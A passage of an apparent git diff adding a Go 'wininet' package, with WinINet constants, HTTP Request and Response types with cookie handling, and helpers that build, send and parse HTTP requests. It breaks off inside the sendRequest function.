HTTPQueryEchoHeadersCRLF uintptr = 74
|
||||
HTTPQueryProxySupport uintptr = 75
|
||||
HTTPQueryAuthenticationInfo uintptr = 76
|
||||
HTTPQueryPassportUrls uintptr = 77
|
||||
HTTPQueryPassportConfig uintptr = 78
|
||||
HTTPQueryMax uintptr = 78
|
||||
HTTPQueryCustom uintptr = 65535
|
||||
HTTPQueryFlagRequestHeaders uintptr = 0x80000000
|
||||
HTTPQueryFlagSystemtime uintptr = 0x40000000
|
||||
HTTPQueryFlagNumber uintptr = 0x20000000
|
||||
HTTPQueryFlagCoalesce uintptr = 0x10000000
|
||||
HTTPQueryModifierFlagsMask uintptr = (HTTPQueryFlagRequestHeaders | HTTPQueryFlagSystemtime | HTTPQueryFlagNumber | HTTPQueryFlagCoalesce)
|
||||
HTTPStatusContinue uintptr = 100
|
||||
HTTPStatusSwitchProtocols uintptr = 101
|
||||
HTTPStatusOk uintptr = 200
|
||||
HTTPStatusCreated uintptr = 201
|
||||
HTTPStatusAccepted uintptr = 202
|
||||
HTTPStatusPartial uintptr = 203
|
||||
HTTPStatusNoContent uintptr = 204
|
||||
HTTPStatusResetContent uintptr = 205
|
||||
HTTPStatusPartialContent uintptr = 206
|
||||
HTTPStatusAmbiguous uintptr = 300
|
||||
HTTPStatusMoved uintptr = 301
|
||||
HTTPStatusRedirect uintptr = 302
|
||||
HTTPStatusRedirectMethod uintptr = 303
|
||||
HTTPStatusNotModified uintptr = 304
|
||||
HTTPStatusUseProxy uintptr = 305
|
||||
HTTPStatusRedirectKeepVerb uintptr = 307
|
||||
HTTPStatusBadRequest uintptr = 400
|
||||
HTTPStatusDenied uintptr = 401
|
||||
HTTPStatusPaymentReq uintptr = 402
|
||||
HTTPStatusForbidden uintptr = 403
|
||||
HTTPStatusNotFound uintptr = 404
|
||||
HTTPStatusBadMethod uintptr = 405
|
||||
HTTPStatusNoneAcceptable uintptr = 406
|
||||
HTTPStatusProxyAuthReq uintptr = 407
|
||||
HTTPStatusRequestTimeout uintptr = 408
|
||||
HTTPStatusConflict uintptr = 409
|
||||
HTTPStatusGone uintptr = 410
|
||||
HTTPStatusLengthRequired uintptr = 411
|
||||
HTTPStatusPrecondFailed uintptr = 412
|
||||
HTTPStatusRequestTooLarge uintptr = 413
|
||||
HTTPStatusUriTooLong uintptr = 414
|
||||
HTTPStatusUnsupportedMedia uintptr = 415
|
||||
HTTPStatusRetryWith uintptr = 449
|
||||
HTTPStatusServerError uintptr = 500
|
||||
HTTPStatusNotSupported uintptr = 501
|
||||
HTTPStatusBadGateway uintptr = 502
|
||||
HTTPStatusServiceUnavail uintptr = 503
|
||||
HTTPStatusGatewayTimeout uintptr = 504
|
||||
HTTPStatusVersionNotSup uintptr = 505
|
||||
HTTPStatusFirst uintptr = HTTPStatusContinue
|
||||
HTTPStatusLast uintptr = HTTPStatusVersionNotSup
|
||||
HTTPAddreqIndexMask uintptr = 0x0000FFFF
|
||||
HTTPAddreqFlagsMask uintptr = 0xFFFF0000
|
||||
HTTPAddreqFlagAddIfNew uintptr = 0x10000000
|
||||
HTTPAddreqFlagAdd uintptr = 0x20000000
|
||||
HTTPAddreqFlagCoalesceWithComma uintptr = 0x40000000
|
||||
HTTPAddreqFlagCoalesceWithSemicolon uintptr = 0x01000000
|
||||
HTTPAddreqFlagCoalesce uintptr = HTTPAddreqFlagCoalesceWithComma
|
||||
HTTPAddreqFlagReplace uintptr = 0x80000000
|
||||
HsrAsync uintptr = WininetApiFlagAsync
|
||||
HsrSync uintptr = WininetApiFlagSync
|
||||
HsrUseContext uintptr = WininetApiFlagUseContext
|
||||
HsrInitiate uintptr = 0x00000008
|
||||
HsrDownload uintptr = 0x00000010
|
||||
HsrChunked uintptr = 0x00000020
|
||||
InternetCookieIsSecure uintptr = 0x01
|
||||
InternetCookieIsSession uintptr = 0x02
|
||||
InternetCookieThirdParty uintptr = 0x10
|
||||
InternetCookiePromptRequired uintptr = 0x20
|
||||
InternetCookieEvaluateP3p uintptr = 0x40
|
||||
InternetCookieApplyP3p uintptr = 0x80
|
||||
InternetCookieP3pEnabled uintptr = 0x100
|
||||
InternetCookieIsRestricted uintptr = 0x200
|
||||
InternetCookieIe6 uintptr = 0x400
|
||||
InternetCookieIsLegacy uintptr = 0x800
|
||||
FlagIccForceConnection uintptr = 0x00000001
|
||||
FlagsErrorUiFilterForErrors uintptr = 0x01
|
||||
FlagsErrorUiFlagsChangeOptions uintptr = 0x02
|
||||
FlagsErrorUiFlagsGenerateData uintptr = 0x04
|
||||
FlagsErrorUiFlagsNoUi uintptr = 0x08
|
||||
FlagsErrorUiSerializeDialogs uintptr = 0x10
|
||||
InternetErrorBase uintptr = 12000
|
||||
ErrorInternetOutOfHandles uintptr = (InternetErrorBase + 1)
|
||||
ErrorInternetTimeout uintptr = (InternetErrorBase + 2)
|
||||
ErrorInternetExtendedError uintptr = (InternetErrorBase + 3)
|
||||
ErrorInternetInternalError uintptr = (InternetErrorBase + 4)
|
||||
ErrorInternetInvalidUrl uintptr = (InternetErrorBase + 5)
|
||||
ErrorInternetUnrecognizedScheme uintptr = (InternetErrorBase + 6)
|
||||
ErrorInternetNameNotResolved uintptr = (InternetErrorBase + 7)
|
||||
ErrorInternetProtocolNotFound uintptr = (InternetErrorBase + 8)
|
||||
ErrorInternetInvalidOption uintptr = (InternetErrorBase + 9)
|
||||
ErrorInternetBadOptionLength uintptr = (InternetErrorBase + 10)
|
||||
ErrorInternetOptionNotSettable uintptr = (InternetErrorBase + 11)
|
||||
ErrorInternetShutdown uintptr = (InternetErrorBase + 12)
|
||||
ErrorInternetIncorrectUserName uintptr = (InternetErrorBase + 13)
|
||||
ErrorInternetIncorrectPassword uintptr = (InternetErrorBase + 14)
|
||||
ErrorInternetLoginFailure uintptr = (InternetErrorBase + 15)
|
||||
ErrorInternetInvalidOperation uintptr = (InternetErrorBase + 16)
|
||||
ErrorInternetOperationCancelled uintptr = (InternetErrorBase + 17)
|
||||
ErrorInternetIncorrectHandleType uintptr = (InternetErrorBase + 18)
|
||||
ErrorInternetIncorrectHandleState uintptr = (InternetErrorBase + 19)
|
||||
ErrorInternetNotProxyRequest uintptr = (InternetErrorBase + 20)
|
||||
ErrorInternetRegistryValueNotFound uintptr = (InternetErrorBase + 21)
|
||||
ErrorInternetBadRegistryParameter uintptr = (InternetErrorBase + 22)
|
||||
ErrorInternetNoDirectAccess uintptr = (InternetErrorBase + 23)
|
||||
ErrorInternetNoContext uintptr = (InternetErrorBase + 24)
|
||||
ErrorInternetNoCallback uintptr = (InternetErrorBase + 25)
|
||||
ErrorInternetRequestPending uintptr = (InternetErrorBase + 26)
|
||||
ErrorInternetIncorrectFormat uintptr = (InternetErrorBase + 27)
|
||||
ErrorInternetItemNotFound uintptr = (InternetErrorBase + 28)
|
||||
ErrorInternetCannotConnect uintptr = (InternetErrorBase + 29)
|
||||
ErrorInternetConnectionAborted uintptr = (InternetErrorBase + 30)
|
||||
ErrorInternetConnectionReset uintptr = (InternetErrorBase + 31)
|
||||
ErrorInternetForceRetry uintptr = (InternetErrorBase + 32)
|
||||
ErrorInternetInvalidProxyRequest uintptr = (InternetErrorBase + 33)
|
||||
ErrorInternetNeedUi uintptr = (InternetErrorBase + 34)
|
||||
ErrorInternetHandleExists uintptr = (InternetErrorBase + 36)
|
||||
ErrorInternetSecCertDateInvalid uintptr = (InternetErrorBase + 37)
|
||||
ErrorInternetSecCertCnInvalid uintptr = (InternetErrorBase + 38)
|
||||
ErrorInternetHTTPToHTTPsOnRedir uintptr = (InternetErrorBase + 39)
|
||||
ErrorInternetHTTPsToHTTPOnRedir uintptr = (InternetErrorBase + 40)
|
||||
ErrorInternetMixedSecurity uintptr = (InternetErrorBase + 41)
|
||||
ErrorInternetChgPostIsNonSecure uintptr = (InternetErrorBase + 42)
|
||||
ErrorInternetPostIsNonSecure uintptr = (InternetErrorBase + 43)
|
||||
ErrorInternetClientAuthCertNeeded uintptr = (InternetErrorBase + 44)
|
||||
ErrorInternetInvalidCa uintptr = (InternetErrorBase + 45)
|
||||
ErrorInternetClientAuthNotSetup uintptr = (InternetErrorBase + 46)
|
||||
ErrorInternetAsyncThreadFailed uintptr = (InternetErrorBase + 47)
|
||||
ErrorInternetRedirectSchemeChange uintptr = (InternetErrorBase + 48)
|
||||
ErrorInternetDialogPending uintptr = (InternetErrorBase + 49)
|
||||
ErrorInternetRetryDialog uintptr = (InternetErrorBase + 50)
|
||||
ErrorInternetHTTPsHTTPSubmitRedir uintptr = (InternetErrorBase + 52)
|
||||
ErrorInternetInsertCdrom uintptr = (InternetErrorBase + 53)
|
||||
ErrorInternetFortezzaLoginNeeded uintptr = (InternetErrorBase + 54)
|
||||
ErrorInternetSecCertErrors uintptr = (InternetErrorBase + 55)
|
||||
ErrorInternetSecCertNoRev uintptr = (InternetErrorBase + 56)
|
||||
ErrorInternetSecCertRevFailed uintptr = (InternetErrorBase + 57)
|
||||
ErrorFtpTransferInProgress uintptr = (InternetErrorBase + 110)
|
||||
ErrorFtpDropped uintptr = (InternetErrorBase + 111)
|
||||
ErrorFtpNoPassiveMode uintptr = (InternetErrorBase + 112)
|
||||
ErrorGopherProtocolError uintptr = (InternetErrorBase + 130)
|
||||
ErrorGopherNotFile uintptr = (InternetErrorBase + 131)
|
||||
ErrorGopherDataError uintptr = (InternetErrorBase + 132)
|
||||
ErrorGopherEndOfData uintptr = (InternetErrorBase + 133)
|
||||
ErrorGopherInvalidLocator uintptr = (InternetErrorBase + 134)
|
||||
ErrorGopherIncorrectLocatorType uintptr = (InternetErrorBase + 135)
|
||||
ErrorGopherNotGopherPlus uintptr = (InternetErrorBase + 136)
|
||||
ErrorGopherAttributeNotFound uintptr = (InternetErrorBase + 137)
|
||||
ErrorGopherUnknownLocator uintptr = (InternetErrorBase + 138)
|
||||
ErrorHTTPHeaderNotFound uintptr = (InternetErrorBase + 150)
|
||||
ErrorHTTPDownlevelServer uintptr = (InternetErrorBase + 151)
|
||||
ErrorHTTPInvalidServerResponse uintptr = (InternetErrorBase + 152)
|
||||
ErrorHTTPInvalidHeader uintptr = (InternetErrorBase + 153)
|
||||
ErrorHTTPInvalidQueryRequest uintptr = (InternetErrorBase + 154)
|
||||
ErrorHTTPHeaderAlreadyExists uintptr = (InternetErrorBase + 155)
|
||||
ErrorHTTPRedirectFailed uintptr = (InternetErrorBase + 156)
|
||||
ErrorHTTPNotRedirected uintptr = (InternetErrorBase + 160)
|
||||
ErrorHTTPCookieNeedsConfirmation uintptr = (InternetErrorBase + 161)
|
||||
ErrorHTTPCookieDeclined uintptr = (InternetErrorBase + 162)
|
||||
ErrorHTTPRedirectNeedsConfirmation uintptr = (InternetErrorBase + 168)
|
||||
ErrorInternetSecurityChannelError uintptr = (InternetErrorBase + 157)
|
||||
ErrorInternetUnableToCacheFile uintptr = (InternetErrorBase + 158)
|
||||
ErrorInternetTcpipNotInstalled uintptr = (InternetErrorBase + 159)
|
||||
ErrorInternetDisconnected uintptr = (InternetErrorBase + 163)
|
||||
ErrorInternetServerUnreachable uintptr = (InternetErrorBase + 164)
|
||||
ErrorInternetProxyServerUnreachable uintptr = (InternetErrorBase + 165)
|
||||
ErrorInternetBadAutoProxyScript uintptr = (InternetErrorBase + 166)
|
||||
ErrorInternetUnableToDownloadScript uintptr = (InternetErrorBase + 167)
|
||||
ErrorInternetSecInvalidCert uintptr = (InternetErrorBase + 169)
|
||||
ErrorInternetSecCertRevoked uintptr = (InternetErrorBase + 170)
|
||||
ErrorInternetFailedDuetosecuritycheck uintptr = (InternetErrorBase + 171)
|
||||
ErrorInternetNotInitialized uintptr = (InternetErrorBase + 172)
|
||||
ErrorInternetNeedMsnSspiPkg uintptr = (InternetErrorBase + 173)
|
||||
ErrorInternetLoginFailureDisplayEntityBody uintptr = (InternetErrorBase + 174)
|
||||
InternetErrorLast uintptr = ErrorInternetLoginFailureDisplayEntityBody
|
||||
NormalCacheEntry uintptr = 0x00000001
|
||||
StickyCacheEntry uintptr = 0x00000004
|
||||
EditedCacheEntry uintptr = 0x00000008
|
||||
TrackOfflineCacheEntry uintptr = 0x00000010
|
||||
TrackOnlineCacheEntry uintptr = 0x00000020
|
||||
SparseCacheEntry uintptr = 0x00010000
|
||||
CookieCacheEntry uintptr = 0x00100000
|
||||
UrlhistoryCacheEntry uintptr = 0x00200000
|
||||
UrlcacheFindDefaultFilter uintptr = NormalCacheEntry | CookieCacheEntry | UrlhistoryCacheEntry | TrackOfflineCacheEntry | TrackOnlineCacheEntry | StickyCacheEntry
|
||||
CachegroupAttributeGetAll uintptr = 0xffffffff
|
||||
CachegroupAttributeBasic uintptr = 0x00000001
|
||||
CachegroupAttributeFlag uintptr = 0x00000002
|
||||
CachegroupAttributeType uintptr = 0x00000004
|
||||
CachegroupAttributeQuota uintptr = 0x00000008
|
||||
CachegroupAttributeGroupname uintptr = 0x00000010
|
||||
CachegroupAttributeStorage uintptr = 0x00000020
|
||||
CachegroupFlagNonpurgeable uintptr = 0x00000001
|
||||
CachegroupFlagGidonly uintptr = 0x00000004
|
||||
CachegroupFlagFlushurlOndelete uintptr = 0x00000002
|
||||
CachegroupSearchAll uintptr = 0x00000000
|
||||
CachegroupSearchByurl uintptr = 0x00000001
|
||||
CachegroupTypeInvalid uintptr = 0x00000001
|
||||
CachegroupReadwriteMask uintptr = CachegroupAttributeType | CachegroupAttributeQuota | CachegroupAttributeGroupname | CachegroupAttributeStorage
|
||||
GroupnameMaxLength uintptr = 120
|
||||
GroupOwnerStorageSize uintptr = 4
|
||||
CacheEntryAttributeFc uintptr = 0x00000004
|
||||
CacheEntryHitrateFc uintptr = 0x00000010
|
||||
CacheEntryModtimeFc uintptr = 0x00000040
|
||||
CacheEntryExptimeFc uintptr = 0x00000080
|
||||
CacheEntryAcctimeFc uintptr = 0x00000100
|
||||
CacheEntrySynctimeFc uintptr = 0x00000200
|
||||
CacheEntryHeaderinfoFc uintptr = 0x00000400
|
||||
CacheEntryExemptDeltaFc uintptr = 0x00000800
|
||||
InternetCacheGroupAdd uintptr = 0
|
||||
InternetCacheGroupRemove uintptr = 1
|
||||
InternetDialForcePrompt uintptr = 0x2000
|
||||
InternetDialShowOffline uintptr = 0x4000
|
||||
InternetDialUnattended uintptr = 0x8000
|
||||
InterentGoonlineRefresh uintptr = 0x00000001
|
||||
InterentGoonlineMask uintptr = 0x00000001
|
||||
InternetAutodialForceOnline uintptr = 1
|
||||
InternetAutodialForceUnattended uintptr = 2
|
||||
InternetAutodialFailifsecuritycheck uintptr = 4
|
||||
InternetAutodialOverrideNetPresent uintptr = 8
|
||||
InternetAutodialFlagsMask uintptr = (InternetAutodialForceOnline | InternetAutodialForceUnattended | InternetAutodialFailifsecuritycheck | InternetAutodialOverrideNetPresent)
|
||||
ProxyAutoDetectTypeDhcp uintptr = 1
|
||||
ProxyAutoDetectTypeDnsA uintptr = 2
|
||||
InternetConnectionModem uintptr = 0x01
|
||||
InternetConnectionLan uintptr = 0x02
|
||||
InternetConnectionProxy uintptr = 0x04
|
||||
InternetConnectionModemBusy uintptr = 0x08
|
||||
InternetRasInstalled uintptr = 0x10
|
||||
InternetConnectionOffline uintptr = 0x20
|
||||
InternetConnectionConfigured uintptr = 0x40
|
||||
InternetCustomdialConnect uintptr = 0
|
||||
InternetCustomdialUnattended uintptr = 1
|
||||
InternetCustomdialDisconnect uintptr = 2
|
||||
InternetCustomdialShowoffline uintptr = 4
|
||||
InternetCustomdialSafeForUnattended uintptr = 1
|
||||
InternetCustomdialWillSupplyState uintptr = 2
|
||||
InternetCustomdialCanHangup uintptr = 4
|
||||
InternetDialstateDisconnected uintptr = 1
|
||||
InternetIdentityFlagPrivateCache uintptr = 0x01
|
||||
InternetIdentityFlagSharedCache uintptr = 0x02
|
||||
InternetIdentityFlagClearData uintptr = 0x04
|
||||
InternetIdentityFlagClearCookies uintptr = 0x08
|
||||
InternetIdentityFlagClearHistory uintptr = 0x10
|
||||
InternetIdentityFlagClearContent uintptr = 0x20
|
||||
InternetSuppressResetAll uintptr = 0x00
|
||||
InternetSuppressCookiePolicy uintptr = 0x01
|
||||
InternetSuppressCookiePolicyReset uintptr = 0x02
|
||||
PrivacyTemplateNoCookies uintptr = 0
|
||||
PrivacyTemplateHigh uintptr = 1
|
||||
PrivacyTemplateMediumHigh uintptr = 2
|
||||
PrivacyTemplateMedium uintptr = 3
|
||||
PrivacyTemplateMediumLow uintptr = 4
|
||||
PrivacyTemplateLow uintptr = 5
|
||||
PrivacyTemplateCustom uintptr = 100
|
||||
PrivacyTemplateAdvanced uintptr = 101
|
||||
PrivacyTemplateMax uintptr = PrivacyTemplateLow
|
||||
PrivacyTypeFirstParty uintptr = 0
|
||||
PrivacyTypeThirdParty uintptr = 1
|
||||
)
|
||||
@@ -0,0 +1,20 @@
|
||||
package wininet
|
||||
|
||||
import "errors"
|
||||
|
||||
// ErrNoCookie is returned by Request's Cookie method when a cookie is
|
||||
// not found.
|
||||
var ErrNoCookie = errors.New("named cookie not present")
|
||||
|
||||
// Common HTTP methods.
|
||||
const (
|
||||
MethodConnect string = "CONNECT"
|
||||
MethodDelete string = "DELETE"
|
||||
MethodGet string = "GET"
|
||||
MethodHead string = "HEAD"
|
||||
MethodOptions string = "OPTIONS"
|
||||
MethodPatch string = "PATCH"
|
||||
MethodPost string = "POST"
|
||||
MethodPut string = "PUT"
|
||||
MethodTrace string = "TRACE"
|
||||
)
|
||||
@@ -0,0 +1,55 @@
|
||||
package wininet
|
||||
|
||||
// Request is a struct containing common HTTP request data.
|
||||
type Request struct {
|
||||
Body []byte
|
||||
cookies []*Cookie
|
||||
Headers map[string]string
|
||||
Method string
|
||||
URL string
|
||||
}
|
||||
|
||||
// NewRequest will return a pointer to a new Request instasnce.
|
||||
func NewRequest(method, url string, body ...[]byte) *Request {
|
||||
var b []byte
|
||||
|
||||
if len(body) > 0 {
|
||||
b = body[0]
|
||||
}
|
||||
|
||||
return &Request{
|
||||
Body: b,
|
||||
Headers: map[string]string{},
|
||||
Method: method,
|
||||
URL: url,
|
||||
}
|
||||
}
|
||||
|
||||
// AddCookie will add a Cookie to the Request.
|
||||
func (r *Request) AddCookie(cookie *Cookie) {
|
||||
for i, c := range r.cookies {
|
||||
if cookie.Name == c.Name {
|
||||
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r.cookies = append(r.cookies, cookie)
|
||||
}
|
||||
|
||||
// Cookie will return the named Cookie provided in the Request or
|
||||
// ErrNoCookie, if not found.
|
||||
func (r *Request) Cookie(name string) (*Cookie, error) {
|
||||
for _, c := range r.cookies {
|
||||
if name == c.Name {
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ErrNoCookie
|
||||
}
|
||||
|
||||
// Cookies will return the HTTP cookies provided in the Request.
|
||||
func (r *Request) Cookies() []*Cookie {
|
||||
return r.cookies
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"io"
|
||||
)
|
||||
|
||||
// Response is a struct containing common HTTP response data.
|
||||
type Response struct {
|
||||
Body io.ReadCloser
|
||||
cookies []*Cookie
|
||||
ContentLength int64
|
||||
Header map[string][]string
|
||||
Proto string
|
||||
ProtoMajor int
|
||||
ProtoMinor int
|
||||
Status string
|
||||
StatusCode int
|
||||
}
|
||||
|
||||
// AddCookie will add a Cookie to the Request.
|
||||
func (r *Response) AddCookie(cookie *Cookie) {
|
||||
for i, c := range r.cookies {
|
||||
if cookie.Name == c.Name {
|
||||
r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r.cookies = append(r.cookies, cookie)
|
||||
}
|
||||
|
||||
// Cookie will return the named Cookie provided in the Response or
|
||||
// ErrNoCookie, if not found.
|
||||
func (r *Response) Cookie(name string) (*Cookie, error) {
|
||||
for _, c := range r.cookies {
|
||||
if name == c.Name {
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ErrNoCookie
|
||||
}
|
||||
|
||||
// Cookies will return the HTTP cookies provided in the Response.
|
||||
func (r *Response) Cookies() []*Cookie {
|
||||
return r.cookies
|
||||
}
|
||||
@@ -0,0 +1,365 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func convertFail(str string, err error) error {
|
||||
return fmt.Errorf(
|
||||
"failed to convert %s to Windows type: %w",
|
||||
str,
|
||||
err,
|
||||
)
|
||||
}
|
||||
|
||||
func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
|
||||
var connHndl uintptr
|
||||
var err error
|
||||
var flags uintptr
|
||||
var passwd string
|
||||
var port int64
|
||||
var query string
|
||||
var reqHndl uintptr
|
||||
var uri *url.URL
|
||||
|
||||
// Parse URL
|
||||
if uri, err = url.Parse(r.URL); err != nil {
|
||||
return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, err)
|
||||
}
|
||||
|
||||
passwd, _ = uri.User.Password()
|
||||
|
||||
if uri.Port() != "" {
|
||||
if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
|
||||
err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
|
||||
switch uri.Scheme {
|
||||
case "https":
|
||||
flags = InternetFlagSecure
|
||||
}
|
||||
|
||||
// Create connection
|
||||
connHndl, err = InternetConnectW(
|
||||
sessionHndl,
|
||||
uri.Hostname(),
|
||||
int(port),
|
||||
uri.User.Username(),
|
||||
passwd,
|
||||
InternetServiceHTTP,
|
||||
flags,
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to create connection: %w", err)
|
||||
}
|
||||
|
||||
// Send query string too
|
||||
if uri.RawQuery != "" {
|
||||
query = "?" + uri.RawQuery
|
||||
}
|
||||
|
||||
// Allow NTLM auth
|
||||
flags |= InternetFlagKeepConnection
|
||||
flags |= InternetFlagNoCookies //we're responsible for cookie management
|
||||
|
||||
// Create HTTP request
|
||||
reqHndl, err = HTTPOpenRequestW(
|
||||
connHndl,
|
||||
r.Method,
|
||||
uri.Path+query,
|
||||
"",
|
||||
"",
|
||||
[]string{},
|
||||
flags,
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to open request: %w", err)
|
||||
}
|
||||
|
||||
return reqHndl, nil
|
||||
}
|
||||
|
||||
var cookies []*Cookie
|
||||
|
||||
func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
|
||||
var b []byte
|
||||
var body io.ReadCloser
|
||||
var code int64
|
||||
var contentLen int64
|
||||
var err error
|
||||
var hdrs map[string][]string
|
||||
var major int
|
||||
var minor int
|
||||
var proto string
|
||||
var res *Response
|
||||
var status string
|
||||
|
||||
// Get status code
|
||||
b, err = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
status = string(b)
|
||||
if code, err = strconv.ParseInt(status, 10, 64); err != nil {
|
||||
return nil, fmt.Errorf("status %s invalid: %w", status, err)
|
||||
}
|
||||
|
||||
// Get status text
|
||||
b, err = queryResponse(reqHndl, HTTPQueryStatusText, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
} else if len(b) > 0 {
|
||||
status += " " + string(b)
|
||||
}
|
||||
|
||||
// Parse cookies
|
||||
cookies = getCookies(reqHndl)
|
||||
|
||||
// Parse headers and proto
|
||||
if proto, major, minor, hdrs, err = getHeaders(reqHndl); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read response body
|
||||
if body, contentLen, err = readResponse(reqHndl); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
res = &Response{
|
||||
Body: body,
|
||||
ContentLength: contentLen,
|
||||
Header: hdrs,
|
||||
Proto: proto,
|
||||
ProtoMajor: major,
|
||||
ProtoMinor: minor,
|
||||
Status: status,
|
||||
StatusCode: int(code),
|
||||
}
|
||||
|
||||
// Concat all cookies
|
||||
for _, c := range req.Cookies() {
|
||||
res.AddCookie(c)
|
||||
}
|
||||
|
||||
for _, c := range cookies {
|
||||
res.AddCookie(c)
|
||||
}
|
||||
|
||||
return res, nil
|
||||
}
|
||||
|
||||
func getCookies(reqHndl uintptr) []*Cookie {
|
||||
var b []byte
|
||||
var cookies []*Cookie
|
||||
var err error
|
||||
var tmp []string
|
||||
|
||||
// Get cookies
|
||||
for i := 0; ; i++ {
|
||||
b, err = queryResponse(
|
||||
reqHndl,
|
||||
HTTPQuerySetCookie,
|
||||
i,
|
||||
)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
|
||||
tmp = strings.SplitN(string(b), "=", 2)
|
||||
cookies = append(
|
||||
cookies,
|
||||
&Cookie{Name: tmp[0], Value: tmp[1]},
|
||||
)
|
||||
}
|
||||
|
||||
return cookies
|
||||
}
|
||||
|
||||
func getHeaders(
|
||||
reqHndl uintptr,
|
||||
) (string, int, int, map[string][]string, error) {
|
||||
var b []byte
|
||||
var err error
|
||||
var hdrs = map[string][]string{}
|
||||
var major int64
|
||||
var minor int64
|
||||
var proto string
|
||||
var tmp []string
|
||||
|
||||
// Get headers
|
||||
b, err = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
|
||||
if err != nil {
|
||||
return "", 0, 0, nil, err
|
||||
}
|
||||
|
||||
for _, hdr := range strings.Split(string(b), "\r\n") {
|
||||
tmp = strings.SplitN(hdr, ": ", 2)
|
||||
|
||||
if len(tmp) == 2 {
|
||||
if _, ok := hdrs[tmp[0]]; !ok {
|
||||
hdrs[tmp[0]] = []string{}
|
||||
}
|
||||
|
||||
hdrs[tmp[0]] = append(hdrs[tmp[0]], tmp[1])
|
||||
} else if strings.HasPrefix(hdr, "HTTP") {
|
||||
proto = strings.Fields(hdr)[0]
|
||||
tmp = strings.Split(proto, ".")
|
||||
|
||||
if len(tmp) >= 2 {
|
||||
tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
|
||||
|
||||
major, err = strconv.ParseInt(tmp[0], 10, 64)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("invalid HTTP version: %w", err)
|
||||
return "", 0, 0, nil, err
|
||||
}
|
||||
|
||||
minor, err = strconv.ParseInt(tmp[1], 10, 64)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("invalid HTTP version: %w", err)
|
||||
return "", 0, 0, nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return proto, int(major), int(minor), hdrs, nil
|
||||
}
|
||||
|
||||
func queryResponse(reqHndl, info uintptr, idx int) ([]byte, error) {
|
||||
var buffer []byte
|
||||
var err error
|
||||
var size int
|
||||
|
||||
if idx < 0 {
|
||||
idx = 0
|
||||
}
|
||||
|
||||
err = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
|
||||
if err != nil {
|
||||
buffer = make([]byte, size)
|
||||
|
||||
err = HTTPQueryInfoW(
|
||||
reqHndl,
|
||||
info,
|
||||
&buffer,
|
||||
&size,
|
||||
&idx,
|
||||
)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to query info: %w", err)
|
||||
return []byte{}, err
|
||||
}
|
||||
}
|
||||
|
||||
return buffer, nil
|
||||
}
|
||||
|
||||
func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
|
||||
var b []byte
|
||||
var chunk []byte
|
||||
var chunkLen int64
|
||||
var contentLen int64
|
||||
var err error
|
||||
var n int64
|
||||
|
||||
// Get Content-Length and body of response
|
||||
for {
|
||||
// Get next chunk size
|
||||
err = InternetQueryDataAvailable(reqHndl, &chunkLen)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to query data available: %w", err)
|
||||
break
|
||||
}
|
||||
|
||||
// Stop, if finished
|
||||
if chunkLen == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
// Read next chunk
|
||||
err = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to read data: %w", err)
|
||||
break
|
||||
}
|
||||
|
||||
// Update fields
|
||||
contentLen += chunkLen
|
||||
b = append(b, chunk...)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
|
||||
return ioutil.NopCloser(bytes.NewReader(b)), contentLen, nil
|
||||
}
|
||||
|
||||
func sendRequest(reqHndl uintptr, r *Request) error {
|
||||
var err error
|
||||
var method uintptr
|
||||
|
||||
// Process cookies
|
||||
method = HTTPAddreqFlagAdd
|
||||
method |= HTTPAddreqFlagCoalesceWithSemicolon
|
||||
|
||||
// // FIXME This is a dumb hack
|
||||
// HTTPAddRequestHeadersW(
|
||||
// reqHndl,
|
||||
// "Cookie: ignore=ignore",
|
||||
// HTTPAddreqFlagAddIfNew,
|
||||
// )
|
||||
// End dumb hack
|
||||
|
||||
for _, c := range r.Cookies() {
|
||||
err = HTTPAddRequestHeadersW(
|
||||
reqHndl,
|
||||
"Cookie: "+c.Name+"="+c.Value,
|
||||
method,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add cookies: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Process headers
|
||||
method = HTTPAddreqFlagAdd
|
||||
method |= HTTPAddreqFlagReplace
|
||||
|
||||
for k, v := range r.Headers {
|
||||
err = HTTPAddRequestHeadersW(
|
||||
reqHndl,
|
||||
k+": "+v,
|
||||
method,
|
||||
)
|
||||
if err != nil {
|
||||
